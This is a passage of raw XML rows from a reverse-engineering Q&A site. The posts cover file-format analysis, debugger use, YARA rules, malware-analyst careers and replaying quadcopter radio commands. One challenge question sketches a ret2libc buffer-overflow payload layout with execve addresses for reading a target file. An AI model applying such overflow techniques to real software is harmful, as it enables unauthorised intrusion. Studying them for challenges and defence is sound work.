&lt;code&gt;e&lt;/code&gt; to the leftmost position or so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get a larger sample to see if &lt;code&gt;da&lt;/code&gt;, &lt;code&gt;a0&lt;/code&gt; and &lt;code&gt;5a&lt;/code&gt; are constants or that they are part of the counter, or possibly something else. For example, it could also be that they are actually part of the measurement, but seem to be constant here because the sound level on the moment of measurement was constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, it seems at this point that only columns &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;4&lt;/code&gt;, &lt;code&gt;8&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; carry data. Once you have confirmed that hypothesis (by looking at more data), you could start generating sounds and see how the data you see relates to the sounds you generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that the manufacturer uses its own name as an extension, it is unlikely this file has some common-used table format, so I can't give you more tips than this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A note about the hex editor. As said, I used vi with xxd (i.e. open the file in vi and then &lt;code&gt;:%!xxd&lt;/code&gt;). However, there are plenty of hex editors, also for Windows. I don't know of any that allows you to shift the start column, which would be useful to check alignment.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorDisplayName="user187" LastEditDate="2015-07-08T21:51:11.330" LastActivityDate="2015-07-08T21:51:11.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9311" PostTypeId="2" ParentId="9309" CreationDate="2015-07-08T21:47:09.603" Score="7" Body="&lt;p&gt;This is a hex dump of your sample file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  1F DA 51 A0 19 5A 52 A0  19 DA 52 A0 28 5A 53 A0  ..Q..ZR...R.(ZS.&#xA;00000010  28 DA 53 A0 24 5A 54 A0  1A DA 54 A0 2A 5A 55 A0  (.S.$ZT...T.*ZU.&#xA;00000020  26 DA 55 A0 26 5A 56 A0  08 DA 56 A0 47 5A 57 A0  &amp;amp;.U.&amp;amp;ZV...V.GZW.&#xA;00000030  35 DA 57 A0 32 5A 58 A0  3B DA 58 A0              5.W.2ZX.;.X.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the file clearly has a pattern where 4 bytes seem to repeat:&#xA;- Byte one goes up and down, and might have to do with the sound level&#xA;- Byte two alternates between DA and 5A - note DA is just a 5A with the highest bit set&#xA;- Byte three seems to be slowly ascending, maybe a time indicator&#xA;- Byte four is A0 and might be the high order byte of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, without any information about the sound level that has been recorded, or some expected values from the raw bytes, every guess is quite hard to verify. It would be really helpful if you could use the software that comes with the device, open the file with it, and tell us whatever the software makes of that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, the german vendor Voelkner (they are reputable and i bought from them on several occasions) has a &lt;a href=&quot;http://files.voelkner.de/300000-324999/303791-an-01-ml-Omnitronic_SLM_700_de_en.pdf&quot;&gt;german/english PDF manual of the product&lt;/a&gt;, which refers to www.omnitronic.com for the newest version. That web site forwards to a shop that sold the product, doesn't have it in stock anymore, but still has a &lt;a href=&quot;http://eshop.steinigke.de/en//SLM-700-SPL-meter/category-/product-ARTI_10360610.html&quot;&gt;download page for manual and software&lt;/a&gt;. The product looks slightly different, but has the same overall layout and key positions, so there is reason to assume it's the same electronics in a slightly different plastic case, and the software might work for you and even be better than whatever came with your device - the amazon reviews says the software is in chinese and lacks a driver; the zip on &quot;my&quot; download page includes a &quot;Vista Driver&quot; folder and an installer that seems to support english.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-08T21:47:09.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="2" ParentId="9309" CreationDate="2015-07-09T15:39:12.330" Score="0" Body="&lt;p&gt;Obvious and easy solution if you just can't get any documentation:&#xA;Do you have any software that reads these files? Something that probably displays them in some useful, probably graphic format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, reverse engineer the loading section of this program.&#xA;String search in the program for &quot;wsn&quot; references to help zero in on where they are probably loaded..&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2015-07-09T15:39:12.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="1" CreationDate="2015-07-09T17:29:53.050" Score="1" ViewCount="676" Body="&lt;p&gt;When opening the reverseme included with &lt;a href=&quot;https://tuts4you.com/download.php?view.2876&quot; rel=&quot;nofollow&quot;&gt;Lena's tutorials&lt;/a&gt; for debugging in either Immunity or Ollydbg an exception is produced within ntdll that results in termination of the process with code &lt;code&gt;4000001E&lt;/code&gt;.  If I configure the executable for a compatibility mode of Windows XP (Service Pack 3) within the file properties then this exception does not occur and the binary executes as expected.  The executable does not produce an exception when running with a debugger attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the root cause of this exception, and how would I determine it?&lt;/p&gt;&#xA;" OwnerUserId="12974" LastEditorUserId="53" LastEditDate="2015-07-09T18:05:44.490" LastActivityDate="2015-07-09T18:05:44.490" Title="Opening program via Ollydbg/Immunity in Win7 causes exception unless in XP Compatibility Mode" Tags="|windows|ollydbg|immunity-debugger|exception|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="1" CreationDate="2015-07-10T09:52:06.600" Score="0" ViewCount="130" Body="&lt;p&gt;I'm trying to locate the function that handles the Enter key press event from a dialog box in a very simple game (no directx afaik, game has a spashscreen that says &quot;Made with Macromedia&quot;). I think I've found the WndProc function (by xrefing RegisterClass calls and looking at the struct argument), but when I set a breakpoint at the top of the WndProc function, its never getting triggered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips? thanks&lt;/p&gt;&#xA;" OwnerUserId="12980" LastActivityDate="2015-07-15T08:02:37.207" Title="How to find &quot;enter&quot; key event functions in games" Tags="|winapi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="2" ParentId="9304" CreationDate="2015-07-10T11:34:16.980" Score="0" Body="&lt;p&gt;Firstly, if the company that has created the product has discontinued it and are not willing to provide service for it even when you have a genuine license than i don't think company would have any legal problems if you yourself transfer the app to new machine or take help of any other person to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, The Solution of your problem is to first gather all the application files from the old computer with all its dependencies to the new machine, and test if its running properly. if you are lucky enough, and the application security and dependencies (including the .ini files and registry entries) are not too complex, it will be easy to copy the application to the new machine and if you are too lucky, may be the license info will also get transfer and you will not need to reverse the application for registration.On the other hand if the application is complex, you will need a reverse engineer who will find the files and dependencies needed, by analyzing it and also checks how the application store its authentication license file.&#xA;So its completely possible, keeping in mind that the software will support the windows 7 system or the new system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you need to save some money hire a cheap reverser.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2015-07-10T11:34:16.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostTypeId="1" AcceptedAnswerId="9346" CreationDate="2015-07-10T11:44:36.197" Score="5" ViewCount="8814" Body="&lt;p&gt;How do i use IDA debugger to find some specific values in process memory, like values of float or integer, or string type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then how can i trace how program accesses them?&lt;/p&gt;&#xA;" OwnerUserId="12981" LastActivityDate="2015-07-13T23:09:16.840" Title="How do i use IDA for heap search for specific types and values?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="1" CreationDate="2015-07-10T14:43:17.547" Score="0" ViewCount="1040" Body="&lt;p&gt;i try reversing program with ollydbg2.01, but i Noticed strange thing with ollydbg when try debug program in log file i have &lt;code&gt;76FC0000 Module &amp;lt;Mod_76FC&amp;gt;(anonymous)&lt;/code&gt; and when press &lt;code&gt;alt+E&lt;/code&gt; i have size ??? and type &lt;code&gt;hidden&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4AaNB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2020-04-17T10:12:36.200" Title="hidden module when debug with ollydbg 2.01 with size?" Tags="|disassembly|ollydbg|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="1" AcceptedAnswerId="9391" CreationDate="2015-07-10T15:49:53.457" Score="0" ViewCount="382" Body="&lt;p&gt;I'm trying to use YARA to sort out a variety of files into families. Some malware drops other malware from images within their resource images. What I'd like to do is write a signature that ignores string hits that exist within the resource section. This would allow my signatures to correctly identify droppers from the malware that is dropped. I tried doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        (pe.sections[0].characteristics &amp;amp; pe.SECTION_CNT_CODE) and $handshake &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to limit my condition to the .text section, but this is definitely not write. That is going to trigger only if the .text section is the first section and the $handshake string exists anywhere within the binary. what I'd like is a way to limit the $handshake to the .text section (or in any section that is not the resource section).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible with YARA or is that getting a bit too complicated for YARA?&lt;/p&gt;&#xA;" OwnerUserId="2172" LastEditorUserId="2147" LastEditDate="2018-08-27T23:11:03.707" LastActivityDate="2018-08-27T23:11:03.707" Title="How do I make a YARA signature that does NOT look in the resource section?" Tags="|malware|yara|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9323" PostTypeId="1" CreationDate="2015-07-10T16:45:27.040" Score="-1" ViewCount="150" Body="&lt;p&gt;I've previously posted here on how to get started as a malware analyst, and wanted to say thanks on getting me started. How much do certifications help me in for my resume and which one(s) should I get? Will experience ultimately be better than a cert? And finally, when should I get certified? I'm currently a sophomore studying information assurance, should I wait until I graduate to get certified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the abundance of questions, and thanks for helping.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-07-10T21:36:32.777" Title="What certifications do I need to become a Malware Analyst?" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-12T08:14:47.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="2" ParentId="9323" CreationDate="2015-07-10T18:26:04.977" Score="4" Body="&lt;p&gt;I do not recommend you to waste your money in certifications, honestly. Get malware, reverse engineer it yourself and publish your results in your blog. This is, certainly, going to help more than any certification on earth. Indeed, some people may take a bad impression of your resume if it makes emphasis in certifications and I know tech-people, not recruiters, that will not even bother to read your resume if you put certifications on it.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2015-07-10T21:36:32.777" LastActivityDate="2015-07-10T21:36:32.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostTypeId="1" CreationDate="2015-07-10T22:55:17.457" Score="2" ViewCount="223" Body="&lt;p&gt;I need to execute a call to &lt;code&gt;cat&lt;/code&gt; on a target file using a buffer overflow in a challenge app (can't execute on the stack, but can use &lt;code&gt;libc&lt;/code&gt;). For reference, in &lt;code&gt;C&lt;/code&gt; this is valid code for what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;        char * const argv[] = {&quot;cat&quot;, &quot;/etc/target/file&quot;};&#xA;        char * const envp[] = {NULL};;&#xA;        execve(&quot;/bin/cat&quot;, argv, envp);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can load some null-terminated strings up on the target and I've also determined the address of &lt;code&gt;execve&lt;/code&gt;. Here's the info I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;/bin/cat&quot; @ 0xbfffffb9:&#xA;&quot;cat&quot; @ 0xbfffffbe&#xA;&quot;/etc/target/file&quot; @ 0xbffff96f&#xA;&#xA;execve @ 0x804831c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can overwrite the &lt;code&gt;EIP&lt;/code&gt; and following bytes with a string like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;AAAA....AAA&quot; + EIP + [RETURN ADDR] + ARG1 + ARG2 ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the string above I can replace &lt;code&gt;EIP&lt;/code&gt; with the address of &lt;code&gt;execve&lt;/code&gt; and jump to the function, but that's where things go sour for me. I've never set up a stack for arrays and couldn't find a google example of using arrays in a classic buffer overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set up the stack with array parameters for my function call? What does my stack need to look like in this case?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2015-07-12T06:20:34.977" Title="Passing arrays to a function call (Buffer Overflow)" Tags="|disassembly|buffer-overflow|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostTypeId="1" CreationDate="2015-07-11T12:24:35.833" Score="-2" ViewCount="560" Body="&lt;p&gt;So I made a very simple C program to study how C works on the inside. It has just 1 line in the main() excluding return 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system(&quot;cls&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use ollydebugger to analyze this program It will show something like this(text after the semicolons are comments generated by ollydebugger.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[ESP],test_1.004030EC     ; ||ASCII &quot;cls&quot;&#xA;CALL &amp;lt;JMP.&amp;amp;msvcrt.system&amp;gt;                ; |\system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what this means, and if I want to change the &quot;cls&quot; called in the system() to another command, where is the &quot;cls&quot; stored? And how do I modify it?&lt;/p&gt;&#xA;" OwnerUserId="12985" LastActivityDate="2015-07-13T10:16:25.807" Title="Assembly analyze C system() function" Tags="|ollydbg|assembly|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="1" AcceptedAnswerId="9329" CreationDate="2015-07-11T18:09:30.190" Score="22" ViewCount="44032" Body="&lt;p&gt;I'm fairly new to the RE world, started right around a week and have gotten my hands dirty with some really good stuff on this website. Pardon my naive knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm trying to &lt;strong&gt;reverse a DLL file of a certain EXE&lt;/strong&gt;. &#xA;The EXE makes calls to functions of this DLL for looking up certain values which I plan to patch eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about debugging the DLL while the application is running? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would like to be able to place a break point in my DLL and get a hit in IDA Pro while the call is made from the application.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I patch the DLL by simply hoping for it to work, but I'm pretty sure that there exists a much productive method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;strong&gt;IDA Pro&lt;/strong&gt; as my flavor of tool.&#xA;You could suggest me if some other disassembler can help me achieve the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone be kind enough to guide me around this task?&lt;/p&gt;&#xA;" OwnerUserId="12988" LastEditorUserId="12988" LastEditDate="2015-07-11T18:14:42.623" LastActivityDate="2015-07-11T20:11:54.930" Title="How to debug the DLL of an EXE using IDA Pro?" Tags="|ida|debugging|dll|dll-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9329" PostTypeId="2" ParentId="9328" CreationDate="2015-07-11T20:11:54.930" Score="30" Body="&lt;p&gt;Very easy, if I got you right:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make an Ida project from the DLL, i.e. drag and drop the dll into the blank Ida page.&lt;/li&gt;&#xA;&lt;li&gt;In Menu Debugger, Process Options, put the path to your exe into the textbox &quot;Application&quot;, Into &quot;input file&quot; put the path to your DLL. Confirm with OK.&lt;/li&gt;&#xA;&lt;li&gt;Start with menu Debugger, Start Process or F9.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your breakpoint should be hit.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-11T20:11:54.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9330" PostTypeId="1" CreationDate="2015-07-11T21:21:49.253" Score="2" ViewCount="163" Body="&lt;p&gt;There is a great little closed-source freeware Windows program (written in Delphi) that I have been using for years. WinBar shows a little bar above the TaskBar which gives some system information and provides access to a few useful functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it has a bug that is pretty annoying. The Memory Usage component only shows half of the installed memory and displays 0MB used until at least half of the memory has been used, then it starts counting up from there (for example, if 4GB are installed, and 1GB is in use, it says 0MB/2047MB; if 3GB are in use, it says 1024MB/2047MB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this is due to it using a signed 32-bit value for the installed and used memory count. That should be a pretty easy fix, but alas, development of it has long since been discontinued (there is a 2.x version on SourceForge—also discontinued—which does not suffer from this bug, but it is too different and I do not like it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to dig in and fix this by finding the bits of code that handle the relevant values and change them to treat it as unsigned. This might be very easy (change a &lt;code&gt;printf&lt;/code&gt; format specifier) or it might be difficult, depending on the nature of the code (no way to tell without seeing the exact assembler instructions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running it through WDasm32 a while back but couldn’t find any good leads. It shows the value in a ThunderRT6PictureBoxDC control in the bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any advice on how to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="3446" LastActivityDate="2015-07-14T03:46:54.177" Title="Tracing variable access/usage instructions" Tags="|windows|binary-analysis|debugging|local-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9331" PostTypeId="1" CreationDate="2015-07-11T22:06:25.303" Score="8" ViewCount="1857" Body="&lt;p&gt;TL;DR - I can't figure out why I'm failing to replicate the Quadcopter's remote control with, say, Arduino and NRF24L01 after eavesdropping the SPI commands on the remote control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I got this cheap quadcopter, actually 3 different models (&lt;a href=&quot;http://www.ebay.com/itm/UDI-U839-Nano-RC-Quadcopter-UFO-4CH-2-4G-6-Axis-Gyro-Remote-Control-Helicopter-/281682763236?pt=LH_DefaultDomain_0&amp;amp;hash=item419599dde4&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, &lt;a href=&quot;http://www.ebay.com/itm/NEW-Mini-RC-Quadcopter-Toy-JJ810-2-4G-4CH-6-axis-Gyro-LED-lights-for-Night-Fly-/251955473147?pt=LH_DefaultDomain_0&amp;amp;hash=item3aa9b76afb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://www.ebay.com/itm/Super-Stable-Flight-RC-Mini-Quadcopter-Toy-M9912-X6-2-4G-4CH-6-axis-Gyro-New-/381050684931?pt=LH_DefaultDomain_15&amp;amp;hash=item58b8640603&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, and the principle is the same with all three)&#xA;All models use the &lt;a href=&quot;http://www.inhaos.com/uploadfile/otherpic/BK2423%20Datasheet%20v2.0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;BK2423 radio&lt;/a&gt;, which should be air-compatible with the &lt;a href=&quot;http://www.nordicsemi.com/eng/content/download/2730/34105/file/nRF24L01_Product_Specification_v2_0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;NRF24l01&lt;/a&gt; - which is what I have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since I have found (surprisingly) very little information on this matter online, I put some probes between the remote control's MPU and it's BK2423 and used Saleae Logic Analyzer to read the communication running on the SPI bus between the two. What I have find out is it has 3 main stages: Config, Search/Bind and Command, where in between there are some tweaks that the MCU performs, as I described below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Config phase, some registers are being set, like the pipe number for Rx and the address, RF channel and more. Here is part of the config capture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gpnyu.png&quot; alt=&quot;config phase&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the initial Tx (and Rx) address is 5 bytes: &lt;strong&gt;0xCCCCCCCCCC&lt;/strong&gt;.&#xA;And the initial RF Channel is &lt;strong&gt;0x2D&lt;/strong&gt;. &#xA;The default address length for the two chips is 5 bytes and since the remote control does not change it, the length should stay 5 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then comes the search phase. In that phase, the remote sends basically the same data over and over, and only changes the RF channel. Here is the last search packet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8d45W.png&quot; alt=&quot;Search stage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after many transmissions with different RF channels, something weird happens. The remote hits the correct RF channel for the quadcopter, but I can't figure out how he understands that, since the Status register (on the MISO channel) stays the same on the last search packets. Here is where the remote control MCU tells the BK2423 to change the RF Channel, with no evidence to anything else around:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3Lmc.png&quot; alt=&quot;After search phase&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the MCU tells the BK2423 to change the address and RF channel to the right ones. It must be the right ones since the quadcopter reacts properly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqbGM.png&quot; alt=&quot;Changing address and RF channel again&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this point and on, the remote control sends command packets and the quadcopter happily fly around. I couldn't manage to properly pass the search phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used some code from &lt;a href=&quot;https://dl.dropboxusercontent.com/u/2248531/blog/HCD/HCD.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this project&lt;/a&gt; (taken from &lt;a href=&quot;http://dzlsevilgeniuslair.blogspot.dk/2013/11/more-toy-quadcopter-hacking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;) and changed HCD.cpp to match what I sniffed. Here are only the two methods I changed (rest of the code within that file stays the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void HCD::bind(unsigned char *ID)&#xA;{&#xA;  for(unsigned char i=0;i&amp;lt;4;i++)&#xA;    noteID[i]=ID[i];&#xA;&#xA;  state=HS_CONNECT;&#xA;  radio.offline();&#xA;    radio.txbuf[0] = 0x3F;&#xA;    radio.txbuf[1] = 0x4C;&#xA;    radio.txbuf[2] = 0x84;&#xA;    radio.txbuf[3] = 0x6F;&#xA;    radio.txbuf[4] = 0x9C;&#xA;    radio.txbuf[5] = 0x20;&#xA;    radio.sendBuffer(6); &#xA;    radio.txbuf[0] = 0x3E;&#xA;    radio.txbuf[1] = 0xC9;&#xA;    radio.txbuf[2] = 0x9A;&#xA;    radio.txbuf[3] = 0xB0;&#xA;    radio.txbuf[4] = 0x61;&#xA;    radio.txbuf[5] = 0xBB;&#xA;    radio.txbuf[6] = 0xAB;&#xA;    radio.txbuf[7] = 0x9C;&#xA;    radio.sendBuffer(8); &#xA;    radio.txbuf[0] = 0x39;&#xA;    radio.txbuf[1] = 0x0B;&#xA;    radio.txbuf[2] = 0xDF;&#xA;    radio.txbuf[3] = 0xC4;&#xA;    radio.txbuf[4] = 0xA7;&#xA;    radio.txbuf[5] = 0x03;&#xA;    radio.sendBuffer(6); &#xA;&#xA;    radio.txbuf[0] = 0x30;&#xA;    radio.txbuf[1] = 0xCC;&#xA;    radio.txbuf[2] = 0xCC;&#xA;    radio.txbuf[3] = 0xCC;&#xA;    radio.txbuf[4] = 0xCC;&#xA;    radio.txbuf[5] = 0xCC;&#xA;    radio.sendBuffer(6);&#xA;&#xA;    radio.txbuf[0] = 0x2A;&#xA;    radio.txbuf[1] = 0xCC;&#xA;    radio.txbuf[2] = 0xCC;&#xA;    radio.txbuf[3] = 0xCC;&#xA;    radio.txbuf[4] = 0xCC;&#xA;    radio.txbuf[5] = 0xCC;&#xA;    radio.sendBuffer(6);&#xA;&#xA;    radio.txbuf[0] = 0xE1;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0xE2;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x27;&#xA;    radio.txbuf[1] = 0x70;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x21;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x22;&#xA;    radio.txbuf[1] = 0x01;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x23;&#xA;    radio.txbuf[1] = 0x03;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x25;&#xA;    radio.txbuf[1] = 0x2D;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x24;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x31;&#xA;    radio.txbuf[1] = 0x09;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x26;&#xA;    radio.txbuf[1] = 0x07;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x50;&#xA;    radio.txbuf[1] = 0x73;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x3C;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x3D;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x31;&#xA;    radio.txbuf[1] = 0x09;&#xA;    radio.sendBuffer(2);&#xA;&#xA;    radio.txbuf[0] = 0x1D;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2);&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;void HCD::update(unsigned char *payload)&#xA;{&#xA;Serial.print(&quot;Sending, state: &quot;);&#xA;Serial.print(state);&#xA;Serial.print(&quot;  Channel: &quot;);&#xA;Serial.println(channel);&#xA;  unsigned char c=0;&#xA;&#xA;  switch(state)&#xA;  {&#xA;  case HS_CONNECT:&#xA;&#xA;    radio.offline();&#xA;    radio.txbuf[0] = 0x27;&#xA;    radio.txbuf[1] = 0x70;&#xA;    radio.sendBuffer(2); &#xA;    radio.txbuf[0] = 0xE1;&#xA;    radio.txbuf[1] = 0x00;&#xA;    radio.sendBuffer(2); &#xA;    radio.txbuf[0]=0x25;&#xA;    radio.txbuf[1]= channel; //0x2A;&#xA;    radio.sendBuffer(2);      //-Chan&#xA;&#xA;    //radio.block(baseAddress);&#xA;    //radio.block(flushTX);&#xA;&#xA;    radio.txbuf[0]=0xA0;&#xA;    radio.txbuf[1]=0x20;&#xA;    radio.txbuf[2]=0x14;&#xA;    radio.txbuf[3]=0x03;&#xA;    radio.txbuf[4]=0x25;&#xA;    radio.txbuf[5]=0x1F; //noteID[0];&#xA;    radio.txbuf[6]=0xC3; //noteID[1];&#xA;    radio.txbuf[7]=0x00; //noteID[2];&#xA;    radio.txbuf[8]=0xE2; //noteID[3];&#xA;    radio.txbuf[8]=0xAA; //noteID[3];&#xA;    radio.sendBuffer(9);      //-tx data&#xA;    //radio.block(PTX);&#xA;    radio.online();&#xA;&#xA;    while(!c)&#xA;      c=radio.getStatus();&#xA;    radio.clrStatus();&#xA;     Serial.print(&quot;Status: &quot; );&#xA;     Serial.println(c);&#xA;    if(c&amp;amp;0x10)  //MRT&#xA;    {&#xA;      state=HS_UNINITIALIZED;&#xA;      Serial.println(&quot;Uninitializing :( Connecting&quot;);&#xA;    }&#xA;&#xA;    if(c&amp;amp;0x20)  //ACK&#xA;    {&#xA;      Serial.println(&quot;ACK Connecting&quot;);&#xA;      state=HS_CONNECTED;&#xA;    }&#xA;    break;&#xA;&#xA;  case HS_CONNECTED:&#xA;&#xA;    radio.offline();&#xA;&#xA;    radio.txbuf[0]=0x25;&#xA;    radio.txbuf[1]=channel;&#xA;    radio.sendBuffer(2);      //-Chan&#xA;&#xA;&#xA;    radio.txbuf[0]=0x2a;&#xA;    radio.txbuf[1]=noteID[0];&#xA;    radio.txbuf[2]=noteID[1];&#xA;    radio.txbuf[3]=noteID[2];&#xA;    radio.txbuf[4]=noteID[3];&#xA;    radio.txbuf[5]=0xCC;&#xA;    radio.sendBuffer(6);      //-tx data&#xA;&#xA;    radio.txbuf[0]=0x30;&#xA;    radio.txbuf[1]=noteID[0];&#xA;    radio.txbuf[2]=noteID[1];&#xA;    radio.txbuf[3]=noteID[2];&#xA;    radio.txbuf[4]=noteID[3];&#xA;    radio.txbuf[5]=0xAA;&#xA;    radio.sendBuffer(6);      //-tx data&#xA;&#xA;    radio.online();&#xA;&#xA;    radio.block(flushTX);&#xA;&#xA;    